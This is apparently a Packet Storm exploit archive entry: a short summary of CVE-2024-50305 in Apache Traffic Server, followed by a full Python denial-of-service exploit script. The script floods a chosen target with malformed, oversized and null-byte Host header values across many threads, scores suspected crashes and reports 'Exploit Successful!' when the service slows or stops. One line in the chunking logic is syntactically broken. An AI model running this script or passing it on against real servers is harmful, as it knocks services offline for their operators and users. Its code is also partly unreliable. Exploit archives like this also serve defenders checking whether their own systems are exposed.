{“lastseen”:”2026-02-20T16:29:02″,”description”:”Proof of concept remote denial of service exploit for Apache Traffic Server versions 9.2.0 through 9.2.5 that leverages the host header…”,”published”:”2026-02-20T00:00:00″,”modified”:”2026-02-20T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Apache Traffic Server 9.2.5 Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:215923″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-50305″],”sourceData”:”=============================================================================================================================================\\n | # Title : Apache Traffic Server Host Header Denial of Service Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits) |\\n | # Vendor : https:\/\/trafficserver.apache.org\/ |\\n =============================================================================================================================================\\n \\n [+] Summary : A denial-of-service (DoS) vulnerability identified as CVE-2024-50305 affects Apache Traffic Server due to improper handling and validation of malformed or unexpected Host header values in incoming HTTP requests.\\n An attacker may send specially crafted requests containing abnormal, oversized, or non-standard Host header values. Under certain conditions, \\n \\t\\t\\t\\t this may lead to service instability, excessive resource consumption, unexpected connection termination, or potential process crashes, resulting in temporary denial of service.\\n The issue highlights insufficient input validation within HTTP request parsing logic. Proper boundary checks, strict header validation, and adherence to RFC standards are recommended to mitigate the risk\\n \\n [+] POC :\\n \\n #!\/usr\/bin\/env python3\\n \\n import socket\\n import sys\\n import time\\n import argparse\\n import threading\\n import ssl\\n import ipaddress\\n import random\\n import string\\n from concurrent.futures import ThreadPoolExecutor, as_completed\\n from typing import List, Tuple, Optional, Dict, Any\\n from enum import Enum\\n from dataclasses import dataclass, field\\n from contextlib import contextmanager\\n import logging\\n from collections import Counter\\n \\n logging.basicConfig(\\n level=logging.INFO,\\n format=’%(asctime)s – %(name)s – %(levelname)s – %(message)s’,\\n datefmt=’%H:%M:%S’\\n )\\n logger = logging.getLogger(‘cve_2024_50305’)\\n \\n class ServiceState(Enum):\\n \\”\\”\\”Possible service states\\”\\”\\”\\n UP = \\”up\\”\\n DOWN = \\”down\\”\\n UNKNOWN = \\”unknown\\”\\n FILTERED = \\”filtered\\”\\n SLOW = \\”slow\\”\\n ERROR = \\”error\\”\\n \\n class Protocol(Enum):\\n \\”\\”\\”Connection protocol\\”\\”\\”\\n HTTP1 = \\”http\/1.1\\”\\n HTTP2 = \\”http\/2\\”\\n UNKNOWN = \\”unknown\\”\\n \\n class CrashConfidence(Enum):\\n \\”\\”\\”Confidence level in crash detection\\”\\”\\”\\n HIGH = \\”high\\” \\n MEDIUM = \\”medium\\” \\n LOW = \\”low\\” \\n NONE = \\”none\\” \\n \\n @dataclass\\n class RequestResult:\\n \\”\\”\\”Result of a single request\\”\\”\\”\\n payload: str\\n response_time: float\\n status_code: Optional[int] = None\\n crash_confidence: CrashConfidence = CrashConfidence.NONE\\n error: Optional[str] = None\\n timeout_occurred: bool = False\\n bytes_received: int = 0\\n connection_reset: bool = False\\n \\n @dataclass\\n class Statistics:\\n \\”\\”\\”Attack statistics – optimized to avoid memory growth\\”\\”\\”\\n total_requests: int = 0\\n crashes_high: int = 0\\n crashes_medium: int = 0\\n crashes_low: int = 0\\n timeouts: int = 0\\n connection_refused: int = 0\\n connection_reset: int = 0\\n successful: int = 0\\n errors: int = 0\\n status_codes: Counter = field(default_factory=Counter)\\n # Response time stats – stored compactly\\n response_time_sum: float = 0.0\\n response_time_count: int = 0\\n response_time_min: float = float(‘inf’)\\n response_time_max: float = 0.0\\n \\n class HTTPResponseParser:\\n \\”\\”\\”HTTP response parser\\”\\”\\”\\n \\n @staticmethod\\n def parse_status_line(data: bytes) -\\u003e Tuple[Optional[int], Optional[Protocol]]:\\n \\”\\”\\”\\n Parses the first status line of an HTTP response\\n \\”\\”\\”\\n if not data:\\n return None, None\\n \\n end_of_line = data.find(b’\\\\r\\\\n’)\\n if end_of_line == -1:\\n return None, None\\n \\n first_line = data[:end_of_line].decode(‘ascii’, errors=’ignore’)\\n parts = first_line.split(‘ ‘)\\n \\n if len(parts) \\u003c 2:\\n return None, None\\n \\n protocol = Protocol.UNKNOWN\\n if parts[0].startswith(‘HTTP\/1’):\\n protocol = Protocol.HTTP1\\n elif parts[0].startswith(‘HTTP\/2’):\\n protocol = Protocol.HTTP2\\n \\n try:\\n status_code = int(parts[1])\\n return status_code, protocol\\n except (ValueError, IndexError):\\n return None, protocol\\n \\n class TargetResolver:\\n \\”\\”\\”Resolves target addresses with IPv4\/IPv6 support\\”\\”\\”\\n \\n def __init__(self, prefer_ipv6: bool = False):\\n self.prefer_ipv6 = prefer_ipv6\\n self._cache = {}\\n \\n def _is_ip_address(self, target: str) -\\u003e Tuple[bool, Optional[int]]:\\n \\”\\”\\”\\n Checks if the text is an IP address and returns its family\\n Returns: (is_ip, family)\\n \\”\\”\\”\\n try:\\n ip_obj = ipaddress.ip_address(target)\\n if ip_obj.version == 6:\\n return True, socket.AF_INET6\\n else:\\n return True, socket.AF_INET\\n except ValueError:\\n return False, None\\n \\n def resolve(self, target: str, port: int) -\\u003e Optional[Tuple[str, int, int]]:\\n \\”\\”\\”\\n Resolves target to (ip, port, family)\\n \\n Returns:\\n (ip, port, socket_family) or None on failure\\n \\”\\”\\”\\n cache_key = f\\”{target}:{port}:{self.prefer_ipv6}\\”\\n if cache_key in self._cache:\\n return self._cache[cache_key]\\n \\n is_ip, ip_family = self._is_ip_address(target)\\n if is_ip:\\n result = (target, port, ip_family)\\n self._cache[cache_key] = result\\n return result\\n \\n if self.prefer_ipv6:\\n families = [socket.AF_INET6, socket.AF_INET]\\n else:\\n families = [socket.AF_INET, socket.AF_INET6]\\n \\n for family in families:\\n try:\\n addrinfo = socket.getaddrinfo(\\n target, \\n port, \\n family=family,\\n type=socket.SOCK_STREAM,\\n proto=socket.IPPROTO_TCP\\n )\\n \\n if addrinfo:\\n \\n _, _, _, _, sockaddr = addrinfo[0]\\n if family == socket.AF_INET6:\\n ip, port, flowinfo, scopeid = sockaddr\\n else:\\n ip, port = sockaddr\\n \\n result = (ip, port, family)\\n self._cache[cache_key] = result\\n logger.debug(f\\”Resolved {target} -\\u003e {ip} ({‘IPv6’ if family == socket.AF_INET6 else ‘IPv4’})\\”)\\n return result\\n \\n except socket.gaierror:\\n continue\\n except Exception as e:\\n logger.debug(f\\”Error resolving {target} using family {family}: {e}\\”)\\n continue\\n \\n logger.error(f\\”Failed to resolve {target}\\”)\\n return None\\n \\n class ServiceChecker:\\n \\”\\”\\”Accurate service status checker\\”\\”\\”\\n \\n def __init__(self, timeout: float = 5, max_header_size: int = 8192):\\n self.timeout = timeout\\n self.max_header_size = max_header_size\\n \\n @contextmanager\\n def _create_socket(self, family: int, use_ssl: bool = False, hostname: str = None):\\n \\”\\”\\”Creates a socket with SSL support\\”\\”\\”\\n sock = socket.socket(family, socket.SOCK_STREAM)\\n sock.settimeout(self.timeout)\\n \\n try:\\n if use_ssl:\\n context = ssl.create_default_context()\\n context.check_hostname = False\\n context.verify_mode = ssl.CERT_NONE\\n \\n is_ip = False\\n if hostname:\\n try:\\n ipaddress.ip_address(hostname)\\n is_ip = True\\n except ValueError:\\n pass\\n \\n server_hostname = hostname if hostname and not is_ip else None\\n sock = context.wrap_socket(sock, server_hostname=server_hostname)\\n yield sock\\n finally:\\n try:\\n sock.close()\\n except:\\n pass\\n \\n def _is_valid_http_response(self, data: bytes) -\\u003e Tuple[bool, Optional[int]]:\\n \\”\\”\\”Checks validity of HTTP response and extracts status code\\”\\”\\”\\n status_code, _ = HTTPResponseParser.parse_status_line(data)\\n return status_code is not None, status_code\\n \\n def check(self, ip: str, port: int, family: int, \\n hostname: str = None, use_ssl: bool = False) -\\u003e Tuple[ServiceState, float, Optional[int]]:\\n \\”\\”\\”\\n Performs a detailed service check\\n \\n Returns:\\n (State, Response Time, Status Code)\\n \\”\\”\\”\\n start_time = time.monotonic()\\n \\n try:\\n with self._create_socket(family, use_ssl, hostname or ip) as sock:\\n \\n host_header = hostname or ip\\n if family == socket.AF_INET6 and ‘:’ in ip and not ip.startswith(‘[‘):\\n host_header = f\\”[{ip}]\\”\\n \\n request = (\\n f\\”GET \/ HTTP\/1.1\\\\r\\\\n\\”\\n f\\”Host: {host_header}\\\\r\\\\n\\”\\n f\\”User-Agent: CVE-2024-50305-Checker\/1.0\\\\r\\\\n\\”\\n f\\”Accept: text\/html,application\/xhtml+xml\\\\r\\\\n\\”\\n f\\”Accept-Language: en-US,en;q=0.9\\\\r\\\\n\\”\\n f\\”Connection: close\\\\r\\\\n\\”\\n f\\”\\\\r\\\\n\\”\\n ).encode()\\n \\n if family == socket.AF_INET6:\\n sock.connect((ip, port, 0, 0))\\n else:\\n sock.connect((ip, port))\\n \\n sock.sendall(request)\\n \\n response = b\\”\\”\\n while True:\\n try:\\n chunk = sock.recv(self.max_header_size)\\n if not chunk:\\n break\\n response += chunk\\n \\n if b’\\\\r\\\\n\\\\r\\\\n’ in response:\\n break\\n \\n if len(response) \\u003e self.max_header_size:\\n break\\n except socket.timeout:\\n break\\n \\n response_time = time.monotonic() – start_time\\n \\n is_valid, status_code = self._is_valid_http_response(response)\\n \\n if is_valid and status_code is not None:\\n if 200 \\u003c= status_code \\u003c 600: \\n return ServiceState.UP, response_time, status_code\\n else:\\n return ServiceState.UP, response_time, status_code\\n elif response:\\n return ServiceState.UNKNOWN, response_time, None\\n else:\\n return ServiceState.UNKNOWN, response_time, None\\n \\n except socket.timeout:\\n return ServiceState.SLOW, self.timeout, None\\n except ConnectionRefusedError:\\n return ServiceState.DOWN, 0, None\\n except ConnectionResetError:\\n return ServiceState.UNKNOWN, time.monotonic() – start_time, None\\n except socket.gaierror:\\n return ServiceState.ERROR, 0, None\\n except Exception as e:\\n logger.debug(f\\”Check Error: {e}\\”)\\n return ServiceState.ERROR, 0, None\\n \\n class RequestSender:\\n \\”\\”\\”Sends malicious requests with detailed result analysis\\”\\”\\”\\n \\n def __init__(self, timeout: float = 5, max_response_size: int = 4096):\\n self.timeout = timeout\\n self.max_response_size = max_response_size\\n \\n @contextmanager\\n def _create_socket(self, family: int):\\n \\”\\”\\”Creates a socket\\”\\”\\”\\n sock = socket.socket(family, socket.SOCK_STREAM)\\n sock.settimeout(self.timeout)\\n try:\\n yield sock\\n finally:\\n try:\\n sock.close()\\n except:\\n pass\\n \\n def _evaluate_crash_confidence(self, result: RequestResult, \\n normal_behavior: Dict) -\\u003e CrashConfidence:\\n \\”\\”\\”\\n Evaluates crash detection confidence based on several factors\\n \\”\\”\\”\\n \\n if result.connection_reset:\\n return CrashConfidence.HIGH\\n \\n if result.timeout_occurred and result.bytes_received == 0:\\n return CrashConfidence.MEDIUM\\n \\n if result.bytes_received == 0 and not result.error:\\n return CrashConfidence.LOW\\n \\n return CrashConfidence.NONE\\n \\n def send(self, ip: str, port: int, family: int, \\n host_payload: str, baseline_time: float = 1.0) -\\u003e RequestResult:\\n \\”\\”\\”\\n Sends a malicious request with accurate result analysis\\n \\n Args:\\n baseline_time: Normal service response time\\n \\”\\”\\”\\n result = RequestResult(payload=host_payload, response_time=0.0)\\n start_time = time.monotonic()\\n \\n try:\\n with self._create_socket(family) as sock:\\n \\n try:\\n if family == socket.AF_INET6:\\n sock.connect((ip, port, 0, 0))\\n else:\\n sock.connect((ip, port))\\n except ConnectionRefusedError:\\n result.error = \\”connection_refused\\”\\n result.response_time = time.monotonic() – start_time\\n return result\\n \\n try:\\n encoded_host = host_payload.encode(‘utf-8’)\\n except UnicodeEncodeError:\\n encoded_host = host_payload.encode(‘ascii’, errors=’replace’)\\n request = (\\n b\\”GET \/ HTTP\/1.1\\\\r\\\\n\\”\\n b\\”Host: \\” + encoded_host + b\\”\\\\r\\\\n\\”\\n b\\”User-Agent: CVE-2024-50305\/1.0\\\\r\\\\n\\”\\n b\\”Accept: *\/*\\\\r\\\\n\\”\\n b\\”Connection: close\\\\r\\\\n\\”\\n b\\”\\\\r\\\\n\\”\\n )\\n \\n try:\\n sock.sendall(request)\\n except ConnectionResetError:\\n result.connection_reset = True\\n result.response_time = time.monotonic() – start_time\\n result.crash_confidence = CrashConfidence.HIGH\\n return result\\n except BrokenPipeError:\\n result.connection_reset = True\\n result.response_time = time.monotonic() – start_time\\n result.crash_confidence = CrashConfidence.HIGH\\n \\n response = b\\”\\”\\n try:\\n while True:\\n try:\\n chunk = sock.recv(4096)\\n if not chunk:\\n break\\n response += chunk\\n \\n if len(response) \\u003e self.max_response_size:\\n break\\n except socket.timeout:\\n result.timeout_occurred = True\\n break\\n except ConnectionResetError:\\n result.connection_reset = True\\n result.crash_confidence = CrashConfidence.HIGH\\n \\n result.response_time = time.monotonic() – start_time\\n result.bytes_received = len(response)\\n \\n if response:\\n status_code, _ = HTTPResponseParser.parse_status_line(response)\\n result.status_code = status_code\\n \\n if status_code is not None:\\n result.crash_confidence = CrashConfidence.NONE\\n else:\\n \\n result.crash_confidence = CrashConfidence.LOW\\n if result.crash_confidence == CrashConfidence.NONE:\\n result.crash_confidence = self._evaluate_crash_confidence(result, {})\\n \\n except Exception as e:\\n result.error = str(e)\\n result.response_time = time.monotonic() – start_time\\n \\n return result\\n \\n class PayloadGenerator:\\n \\”\\”\\”Generates malicious Host values\\”\\”\\”\\n \\n BASE_PAYLOADS = [\\n \\”:\\”, \\”::\\”, \\”[::1]\\”, \\”\\”, \\”\\\\0\\”,\\n \\”localhost:8080:extra\\”, \\”host\\\\x00injection\\”,\\n ]\\n \\n SPECIAL_CHARS = list(string.punctuation + string.whitespace)\\n \\n @classmethod\\n def generate(cls, count: int = 30) -\\u003e List[str]:\\n \\”\\”\\”Generates a list of payloads\\”\\”\\”\\n count = max(10, min(count, 100)) \\n \\n payloads = set(cls.BASE_PAYLOADS)\\n \\n for length in [100, 500, 1000, 2000, 5000]:\\n if len(payloads) \\u003c count:\\n payloads.add(‘A’ * length)\\n payloads.add(‘B’ * length)\\n random_needed = count – len(payloads)\\n if random_needed \\u003e 0:\\n for _ in range(random_needed):\\n length = random.randint(5, 50)\\n random_payload = ”.join(random.choices(cls.SPECIAL_CHARS, k=length))\\n payloads.add(random_payload)\\n \\n unicode_samples = [\\”\ud83d\ude80\\”, \\”\u6d4b\u8bd5\\”, \\”\u03b1\u03b2\u03b3\\”, \\”\u2605\\”, \\”\ud83c\udf0d\\”]\\n payloads.update(unicode_samples[:max(0, count – len(payloads))])\\n \\n return list(payloads)[:count]\\n \\n class StatisticsCollector:\\n \\”\\”\\”Thread-safe statistics collection with memory control\\”\\”\\”\\n \\n def __init__(self, max_response_times: int = 1000):\\n self.lock = threading.Lock()\\n self.stats = Statistics()\\n self.max_response_times = max_response_times\\n self._response_times_sample = [] # Limited sample for analysis\\n \\n def add_result(self, result: RequestResult):\\n \\”\\”\\”Adds a result in a thread-safe manner\\”\\”\\”\\n with self.lock:\\n self.stats.total_requests += 1\\n \\n if result.crash_confidence == CrashConfidence.HIGH:\\n self.stats.crashes_high += 1\\n elif result.crash_confidence == CrashConfidence.MEDIUM:\\n self.stats.crashes_medium += 1\\n elif result.crash_confidence == CrashConfidence.LOW:\\n self.stats.crashes_low += 1\\n \\n if result.error == \\”connection_refused\\”:\\n self.stats.connection_refused += 1\\n elif result.connection_reset:\\n self.stats.connection_reset += 1\\n elif result.error:\\n self.stats.errors += 1\\n \\n if result.timeout_occurred:\\n self.stats.timeouts += 1\\n \\n if result.status_code is not None:\\n self.stats.successful += 1\\n self.stats.status_codes[result.status_code] += 1\\n \\n if result.response_time \\u003e 0:\\n self.stats.response_time_sum += result.response_time\\n self.stats.response_time_count += 1\\n self.stats.response_time_min = min(self.stats.response_time_min, result.response_time)\\n self.stats.response_time_max = max(self.stats.response_time_max, result.response_time)\\n \\n if len(self._response_times_sample) \\u003c self.max_response_times:\\n self._response_times_sample.append(result.response_time)\\n \\n def get_stats(self) -\\u003e Statistics:\\n \\”\\”\\”Gets a copy of the statistics\\”\\”\\”\\n with self.lock:\\n stats_copy = Statistics(\\n total_requests=self.stats.total_requests,\\n crashes_high=self.stats.crashes_high,\\n crashes_medium=self.stats.crashes_medium,\\n crashes_low=self.stats.crashes_low,\\n timeouts=self.stats.timeouts,\\n connection_refused=self.stats.connection_refused,\\n connection_reset=self.stats.connection_reset,\\n successful=self.stats.successful,\\n errors=self.stats.errors,\\n status_codes=self.stats.status_codes.copy(),\\n response_time_sum=self.stats.response_time_sum,\\n response_time_count=self.stats.response_time_count,\\n response_time_min=self.stats.response_time_min,\\n response_time_max=self.stats.response_time_max\\n )\\n return stats_copy\\n \\n def get_average_response_time(self) -\\u003e float:\\n \\”\\”\\”Calculates average response time\\”\\”\\”\\n if self.stats.response_time_count \\u003e 0:\\n return self.stats.response_time_sum \/ self.stats.response_time_count\\n return 0.0\\n \\n class CVE202450305Exploit:\\n \\”\\”\\”Main exploit class\\”\\”\\”\\n \\n def __init__(self, target: str, port: int = 80, threads: int = 5,\\n timeout: float = 5, prefer_ipv6: bool = False,\\n use_ssl: bool = False, rate_limit: float = 0.1):\\n \\n if not 1 \\u003c= port \\u003c= 65535:\\n raise ValueError(f\\”Invalid port number: {port}\\”)\\n \\n if threads \\u003c 1 or threads \\u003e 100:\\n raise ValueError(f\\”Thread count must be between 1 and 100\\”)\\n \\n self.target = target\\n self.port = port\\n self.threads = threads\\n self.timeout = timeout\\n self.prefer_ipv6 = prefer_ipv6\\n self.use_ssl = use_ssl\\n self.rate_limit = rate_limit \\n self.resolver = TargetResolver(prefer_ipv6)\\n self.checker = ServiceChecker(timeout)\\n self.sender = RequestSender(timeout)\\n self.stats = StatisticsCollector()\\n self.target_ip = None\\n self.target_family = None\\n self.baseline_state = ServiceState.UNKNOWN\\n self.baseline_time = 1.0 # Default value\\n self.baseline_status = None\\n self.is_ip_target = False\\n \\n def initialize(self) -\\u003e bool:\\n \\”\\”\\”Initializes exploit and resolves target\\”\\”\\”\\n logger.info(f\\”Initializing exploit for target {self.target}:{self.port}\\”)\\n \\n resolved = self.resolver.resolve(self.target, self.port)\\n if not resolved:\\n logger.error(\\”Failed to resolve target\\”)\\n return False\\n \\n self.target_ip, _, self.target_family = resolved\\n \\n try:\\n ipaddress.ip_address(self.target)\\n self.is_ip_target = True\\n except ValueError:\\n self.is_ip_target = False\\n \\n logger.info(f\\”Target resolved: {self.target_ip} \\”\\n f\\”({‘IPv6’ if self.target_family == socket.AF_INET6 else ‘IPv4’})\\”)\\n \\n logger.info(\\”Performing baseline service check…\\”)\\n state, resp_time, status = self.checker.check(\\n self.target_ip, self.port, self.target_family,\\n hostname=self.target if not self.is_ip_target else None, \\n use_ssl=self.use_ssl\\n )\\n \\n self.baseline_state = state\\n if resp_time \\u003e 0:\\n self.baseline_time = resp_time\\n self.baseline_status = status\\n \\n if state == ServiceState.UP:\\n logger.info(f\\” Service is UP (Code: {status}, Time: {resp_time:.3f}s)\\”)\\n return True\\n elif state == ServiceState.SLOW:\\n logger.warning(f\\” Service is SLOW (Time: {resp_time:.3f}s)\\”)\\n return True\\n elif state == ServiceState.UNKNOWN:\\n logger.warning(f\\” Service status is UNKNOWN\\”)\\n return True\\n else:\\n logger.error(f\\” Service is NOT running: {state.value}\\”)\\n return False\\n \\n def _process_payload_chunk(self, payloads: List[str], iteration: int, \\n chunk_idx: int) -\\u003e List[RequestResult]:\\n \\”\\”\\”Processes a subset of payloads\\”\\”\\”\\n results = []\\n \\n with ThreadPoolExecutor(max_workers=self.threads) as executor:\\n future_to_payload = {}\\n \\n for payload in payloads:\\n \\n if self.rate_limit \\u003e 0:\\n time.sleep(self.rate_limit)\\n \\n future = executor.submit(\\n self.sender.send,\\n self.target_ip,\\n self.port,\\n self.target_family,\\n payload,\\n self.baseline_time\\n )\\n future_to_payload[future] = payload\\n \\n for future in as_completed(future_to_payload):\\n try:\\n result = future.result(timeout=self.timeout + 2)\\n results.append(result)\\n self.stats.add_result(result)\\n \\n if result.crash_confidence == CrashConfidence.HIGH:\\n logger.info(f\\” HIGH confidence crash: {repr(result.payload)[:50]}…\\”)\\n elif result.crash_confidence == CrashConfidence.MEDIUM:\\n logger.debug(f\\” MEDIUM confidence: {repr(result.payload)[:50]}…\\”)\\n elif result.connection_reset:\\n logger.debug(f\\” Connection reset: {repr(result.payload)[:50]}…\\”)\\n elif result.timeout_occurred:\\n logger.debug(f\\” Timeout: {repr(result.payload)[:50]}…\\”)\\n \\n except Exception as e:\\n logger.error(f\\”Error processing result: {e}\\”)\\n \\n return results\\n \\n def run(self, payload_count: int = 30, iterations: int = 3) -\\u003e Tuple[bool, Statistics]:\\n \\”\\”\\”\\n Executes the attack\\n \\n Returns:\\n (Exploit_Success, Statistics)\\n \\”\\”\\”\\n logger.info(\\”=\\” * 60)\\n logger.info(\\” CVE-2024-50305 – Apache Traffic Server DoS Exploit\\”)\\n logger.info(\\”=\\” * 60)\\n logger.info(f\\”Target: {self.target} ({self.target_ip}:{self.port})\\”)\\n logger.info(f\\”Protocol: {‘HTTPS’ if self.use_ssl else ‘HTTP’}\\”)\\n logger.info(f\\”Threads: {self.threads}, Timeout: {self.timeout}s\\”)\\n logger.info(f\\”Rate limit: {self.rate_limit}s\\”)\\n logger.info(f\\”Payloads: {payload_count}, Iterations: {iterations}\\”)\\n logger.info(\\”=\\” * 60)\\n payloads = PayloadGenerator.generate(payload_count)\\n logger.info(f\\” Generated {len(payloads)} malicious Host values\\”)\\n \\n all_results = []\\n \\n for iteration in range(iterations):\\n logger.info(f\\”\\\\n Iteration {iteration + 1}\/{iterations}\\”)\\n \\n chunk_size = max(1, len(payloads) \\n chunks = [payloads[i:i+chunk_size] for i in range(0, len(payloads), chunk_size)]\\n \\n for chunk_idx, chunk in enumerate(chunks):\\n logger.debug(f\\” Processing chunk {chunk_idx + 1}\/{len(chunks)}\\”)\\n results = self._process_payload_chunk(chunk, iteration, chunk_idx)\\n all_results.extend(results)\\n \\n stats = self.stats.get_stats()\\n logger.info(f\\” Progress: {stats.total_requests}\/{iterations * len(payloads)} \\”\\n f\\”(High: {stats.crashes_high}, Med: {stats.crashes_medium})\\”)\\n \\n if chunk_idx \\u003c len(chunks) – 1:\\n time.sleep(1)\\n \\n final_stats = self.stats.get_stats()\\n avg_time = self.stats.get_average_response_time()\\n \\n logger.info(\\”\\\\n\\” + \\”=\\” * 60)\\n logger.info(\\” Final Statistics:\\”)\\n logger.info(f\\” Total Requests: {final_stats.total_requests}\\”)\\n logger.info(f\\” HIGH confidence crashes: {final_stats.crashes_high}\\”)\\n logger.info(f\\” MEDIUM confidence crashes: {final_stats.crashes_medium}\\”)\\n logger.info(f\\” LOW confidence crashes: {final_stats.crashes_low}\\”)\\n logger.info(f\\” Timeouts: {final_stats.timeouts}\\”)\\n logger.info(f\\” Connection resets: {final_stats.connection_reset}\\”)\\n logger.info(f\\” Connection refused: {final_stats.connection_refused}\\”)\\n logger.info(f\\” Successful responses: {final_stats.successful}\\”)\\n \\n if final_stats.status_codes:\\n logger.info(f\\” Status Codes: {dict(final_stats.status_codes)}\\”)\\n \\n if final_stats.response_time_count \\u003e 0:\\n logger.info(f\\” Response Time – Avg: {avg_time:.3f}s\\”)\\n logger.info(f\\” Response Time – Min: {final_stats.response_time_min:.3f}s\\”)\\n logger.info(f\\” Response Time – Max: {final_stats.response_time_max:.3f}s\\”)\\n \\n logger.info(\\”=\\” * 60)\\n \\n logger.info(\\”\\\\n Verifying exploit success…\\”)\\n time.sleep(3)\\n \\n post_state, post_time, post_status = self.checker.check(\\n self.target_ip, self.port, self.target_family,\\n hostname=self.target if not self.is_ip_target else None,\\n use_ssl=self.use_ssl\\n )\\n \\n success = False\\n reasons = []\\n \\n if final_stats.crashes_high \\u003e 0:\\n reasons.append(f\\”Detected {final_stats.crashes_high} HIGH confidence crashes\\”)\\n success = True\\n \\n if final_stats.crashes_medium \\u003e 3:\\n reasons.append(f\\”Detected {final_stats.crashes_medium} MEDIUM confidence crashes\\”)\\n success = True\\n \\n if self.baseline_state == ServiceState.UP:\\n if post_state == ServiceState.DOWN:\\n reasons.append(\\”Service stopped after attack\\”)\\n success = True\\n elif post_state == ServiceState.SLOW and self.baseline_time \\u003e 0:\\n slowdown_ratio = post_time \/ self.baseline_time\\n if slowdown_ratio \\u003e 3:\\n reasons.append(f\\”Significant service slowdown ({slowdown_ratio:.1f}x)\\”)\\n success = True\\n \\n if success:\\n logger.info(\\”Exploit Successful!\\”)\\n for reason in reasons:\\n logger.info(f\\” \u2022 {reason}\\”)\\n return True, final_stats\\n else:\\n logger.info(\\” Exploit Failed\\”)\\n if reasons:\\n logger.info(f\\” ({‘, ‘.join(reasons)})\\”)\\n else:\\n logger.info(\\” No evidence of vulnerability found\\”)\\n return False, final_stats\\n \\n \\n def main():\\n \\”\\”\\”Main function\\”\\”\\”\\n parser = argparse.ArgumentParser(\\n description=\\”CVE-2024-50305 – Apache Traffic Server DoS Exploit\\”,\\n formatter_class=argparse.RawDescriptionHelpFormatter\\n )\\n \\n parser.add_argument(\\”target\\”, help=\\”Target address (IP or domain)\\”)\\n parser.add_argument(\\”-p\\”, \\”–port\\”, type=int, default=80, \\n help=\\”Target port (1-65535, default: 80)\\”)\\n parser.add_argument(\\”-t\\”, \\”–threads\\”, type=int, default=5, \\n help=\\”Thread count (1-100, default: 5)\\”)\\n parser.add_argument(\\”–timeout\\”, type=float, default=5, \\n help=\\”Connection timeout in seconds (default: 5)\\”)\\n parser.add_argument(\\”–ipv6\\”, action=\\”store_true\\”, \\n help=\\”Prefer IPv6\\”)\\n parser.add_argument(\\”–ssl\\”, action=\\”store_true\\”, \\n help=\\”Use HTTPS\/SSL\\”)\\n parser.add_argument(\\”–rate-limit\\”, type=float, default=0.05,\\n help=\\”Delay between requests in seconds (default: 0.05)\\”)\\n parser.add_argument(\\”-c\\”, \\”–payloads\\”, type=int, default=30,\\n help=\\”Number of payloads to test (10-100, default: 30)\\”)\\n parser.add_argument(\\”-i\\”, \\”–iterations\\”, type=int, default=3,\\n help=\\”Number of iterations (default: 3)\\”)\\n parser.add_argument(\\”-v\\”, \\”–verbose\\”, action=\\”store_true\\”, \\n help=\\”Show detailed information\\”)\\n \\n args = parser.parse_args()\\n \\n if args.verbose:\\n logger.setLevel(logging.DEBUG)\\n \\n try:\\n \\n exploit = CVE202450305Exploit(\\n target=args.target,\\n port=args.port,\\n threads=args.threads,\\n timeout=args.timeout,\\n prefer_ipv6=args.ipv6,\\n use_ssl=args.ssl,\\n rate_limit=args.rate_limit\\n )\\n \\n if not exploit.initialize():\\n sys.exit(2)\\n \\n success, stats = exploit.run(\\n payload_count=args.payloads,\\n iterations=args.iterations\\n )\\n \\n sys.exit(0 if success else 1)\\n \\n except KeyboardInterrupt:\\n logger.info(\\”\\\\nAttack stopped by user\\”)\\n sys.exit(2)\\n except ValueError as e:\\n logger.error(f\\”Input Error: {e}\\”)\\n sys.exit(2)\\n except Exception as e:\\n logger.error(f\\”Unexpected Error: {e}\\”)\\n if args.verbose:\\n import traceback\\n traceback.print_exc()\\n sys.exit(2)\\n \\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\n \\t\\n Greetings to :======================================================================\\n jericho * Larry W. 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